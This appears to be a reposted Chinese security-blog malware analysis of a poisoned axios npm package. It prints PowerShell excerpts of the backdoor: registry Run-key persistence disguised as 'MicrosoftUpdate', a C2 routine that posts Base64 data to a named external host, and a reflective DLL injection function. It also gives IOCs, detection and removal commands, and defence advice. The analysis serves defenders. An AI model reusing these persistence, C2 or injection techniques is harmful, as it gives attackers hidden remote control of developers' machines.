文章总结: 本文对AxiosNPM投毒攻击样本进行了深度分析。攻击者通过在流行的axios库中植入恶意代码,利用npminstall时自动执行的postinstall钩子,在用户电脑上部署后门,实现持久化控制、信息收集和远程命令执行等功能。该攻击利用了开发者对开源生态的信任,具有隐蔽性强、危害严重的特点。文章详细解析了攻击链架构、核心模块功能,并提供了检测清除方法及防御建议。 综合评分: 90 文章分类: 供应链安全,恶意软件,漏洞分析,网络安全,安全运营
Axios NPM投毒攻击样本深度分析
原创
秀逗猫 秀逗猫
秀逗猫
2026年3月31日 20:58 北京
unsetunset一、Axios 是什么?unsetunset
Axios 是 JavaScript 生态中最流行的 HTTP 客户端库之一,用于浏览器和 Node.js 环境。它以简洁的 API、Promise 支持、请求/响应拦截器等特性深受开发者喜爱。
const axios = require('axios');
const response = await axios.get('https://api.example.com/data');
📊 关键数据:
- GitHub Stars: 超过 10 万
- NPM 周下载量: 超过 4000 万次
- 依赖项目: 数百万项目直接或间接依赖
正是这种极高的普及度,使 axios 成为供应链攻击的”理想”目标——攻击者只需污染这一个包,就能影响海量开发者。
unsetunset二、投毒事件背景unsetunset
近期,安全研究人员发现 axios npm 包遭到供应链攻击。攻击者通过以下方式实施投毒:
| 阶段 | 手段 | 说明 | | — | — | — | | 投放 | 发布恶意版本 | 攻击者向 npm 仓库上传被污染的 axios 版本 | | 触发 | postinstall 钩子 | 包安装时自动执行恶意代码,开发者无感知 | | 植入 | 写入后门 | 在用户电脑上植入持久化后门程序 | | 控制 | C2 通信 | 与远程服务器建立连接,等待指令 |
影响范围
- 受害者: 任何执行
npm install axios安装了被污染版本的开发者 - 危害: 电脑被完全控制,可执行任意代码、窃取文件、注入恶意软件
- 隐蔽性: 后门伪装成系统更新,重启后自动恢复,难以察觉
⚠️ 启示: 这次攻击再次警示我们——供应链安全是开发安全中最脆弱的一环。当你在 npm install 时,你信任的不仅是那个包,还有它所有的依赖以及它们的安装脚本。一次疏忽,就可能让你的开发环境成为攻击者的游乐场。
unsetunset三、样本分析对象unsetunset
本文基于 Windows 平台获取的两个恶意样本进行技术逆向分析,还原 axios NPM 供应链攻击的完整技术实现。
⚠️ 核心发现: 一次
npm install即可完成从感染到持久化控制的全部过程,攻击者可获得目标机器的完全控制权限。
样本清单:
| 样本文件 | 类型 | 功能 | | — | — | — | | axios投毒样本.ps1 | PowerShell 脚本 | 后门主体,实现 C2 通信与远程控制 | | axios投毒样本system.bat | 批处理脚本 | 持久化入口,启动后门 |
unsetunset四、攻击链架构unsetunset
攻击分为两个阶段:初始感染和持久化控制。
初始感染阶段
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
npm install axios (被污染版本)
│
▼
postinstall hook → 执行恶意 PS1 脚本
│
├─► [立即] 建立 C2 连接,上报系统信息
│
└─► [持久化] 创建 system.bat
注册启动项 MicrosoftUpdate
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
│
▼ 重启后触发
持久化控制阶段
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
system.bat → 从 C2 动态加载 PS1 代码
│
▼
每 60 秒心跳 ─► 等待 C2 指令
│
├─► peinject : 反射式 DLL 注入
├─► runscript : 执行任意脚本
├─► rundir : 枚举文件系统
└─► kill : 终止并清除
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
unsetunset五、核心模块分析unsetunset
5.1 持久化模块
实现方式: 注册表 Run 键 + 隐藏文件
$regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$regName = "MicrosoftUpdate" # 伪装系统更新
$batFile = Join-Path $env:PROGRAMDATA "system.bat"
Set-Content -Path $batFile -Value $batCont
Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden
Set-ItemProperty -Path $regKey -Name $regName -Value $batFile
📌 技术特点:
- 文件属性设为 Hidden,规避常规浏览
- 伪装成 MicrosoftUpdate,降低用户警觉
- 使用 %PROGRAMDATA% 系统目录,权限要求低
5.2 C2 通信模块
协议: HTTP POST + Base64 编码
function Get-Response {
$wc = New-Object System.Net.WebClient
$wc.Headers["User-Agent"] = "mozilla/4.0 (compatible; msie 8.0; ...)"
$wc.Headers["Content-Type"] = "application/x-www-form-urlencoded"
$base64Body = [Convert]::ToBase64String(...)
$responseBytes = $wc.UploadData($url, "POST", ...)
}
通信特征:
| 项目 | 值 | | — | — | | C2 地址 | http://sfrclak.com:8000/6202033 | | User-Agent | IE8 伪装 | | 编码方式 | 双层 Base64 | | 心跳间隔 | 60 秒 |
5.3 反射式注入模块 (Do-Action-Ijt)
💡 核心技术: 内存加载 .NET Assembly,DLL 不落地,规避基于文件的杀毒检测。
function Do-Action-Ijt {
# Base64 解码 DLL 和 Shellcode
[byte[]]$rotjni = [Convert]::FromBase64String($ijtdll)
[byte[]]$daolyap = [Convert]::FromBase64String($ijtbin)
# 反射式加载(不写磁盘)
$assem = [Reflection.Assembly]::Load([byte[]]$rotjni)
$class = $assem.GetType("Extension.SubRoutine")
$method = $class.GetMethod("Run2")
# 执行注入到 cmd.exe
$method.Invoke(0, @([byte[]]$daolyap, "cmd.exe", $param))
}
📌 技术特点:
- DLL 不落地,直接内存加载
- 可注入任意进程(默认 cmd.exe)
- 规避基于文件的杀毒检测
5.4 脚本执行模块 (Do-Action-Scpt)
实现方式: 动态生成 + EncodedCommand
- 小于 10KB:使用 -EncodedCommand 执行
- 大于 10KB:写入临时文件执行后删除
unsetunset六、信息收集能力unsetunset
后门在首次连接 C2 时,会收集并上报大量系统信息:
| 类别 | 收集内容 | | — | — | | 用户身份 | 用户名、主机名 | | 系统指纹 | OS 版本、架构、CPU 型号、电脑型号、时区 | | 运行环境 | 所有进程列表(PID / 会话ID / 名称 / 路径) | | 文件系统 | Documents、Desktop、OneDrive、AppData、所有驱动器 |
unsetunset七、命令控制协议unsetunset
C2 指令格式:
{
"type": "runscript|peinject|rundir|kill",
"CmdID": "xxx",
"Script": "base64_payload",
"Param": "additional_params"
}
指令详情:
| type | 功能 | 危害等级 |
| — | — | — |
| peinject | 反射式 DLL 注入 | 严重 |
| runscript | 执行任意 PowerShell 脚本 | 严重 |
| rundir | 枚举文件系统 | 高 |
| kill | 终止后门进程 | 低 |
unsetunset八、IOC 汇总unsetunset
🌐 网络指标
- 域名: sfrclak.com
- 端口: 8000
- 路径: /6202033
- 完整URL: http://sfrclak.com:8000/6202033
- User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
- POST Body: packages.npm.org/product1
💻 主机指标
- 文件路径: C:\ProgramData\system.bat
- 文件属性: Hidden(隐藏)
- 注册表: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate
📊 行为指标
- 隐藏窗口的 PowerShell 进程
- 每 60 秒向外部 IP 发送 POST 请求
- 读取敏感目录(Documents, Desktop, OneDrive)
- 内存 Assembly 加载行为
unsetunset九、检测与清除unsetunset
检测命令
# 检查注册表启动项
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v MicrosoftUpdate
# 检查恶意文件(包含隐藏文件)
dir /a:h C:\ProgramData\system.bat
# 检查网络连接
netstat -ano | findstr :8000
清除步骤
# 1. 删除注册表项
Remove-ItemProperty -Path "HKCU\...\Run" -Name "MicrosoftUpdate"
# 2. 删除恶意文件
Remove-Item "C:\ProgramData\system.bat" -Force
# 3. 终止相关进程
# 需根据实际情况排查隐藏窗口的 powershell.exe
unsetunset十、防御建议unsetunset
| 层面 | 措施 | | — | — | | 开发 | • 锁定依赖版本,使用 package-lock.json • 定期运行 npm audit • 审查 postinstall 脚本 • 考虑私有 npm 仓库 | | 主机 | • 监控 Run 注册表变更 • 启用 PowerShell 脚本日志 • 监控 %PROGRAMDATA% 文件创建 | | 网络 | • 封禁 IOC 域名 • 检测异常 IE8 UA 流量 • 监控 Base64 编码的异常 POST |
unsetunset十一、总结unsetunset
本次分析基于 Windows 平台的恶意样本,揭示了一个完整的 NPM 供应链攻击实现:
- 攻击载体: 通过被污染的 npm 包传播
- 持久化: 伪装成系统更新,写入启动项
- C2 通信: Base64 编码 + 伪装 User-Agent
- 远程控制: 支持脚本执行、内存注入、文件枚举
- 隐蔽性: 隐藏窗口、动态加载、无文件落地
⚠️ 警示: 供应链攻击利用了开发者对开源生态的信任。一行 npm install,就可能让你的电脑完全沦陷。axios 只是众多被盯上的包之一,下一个可能是任何你每天使用的包。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:秀逗猫 秀逗猫 秀逗猫《Axios NPM投毒攻击样本深度分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论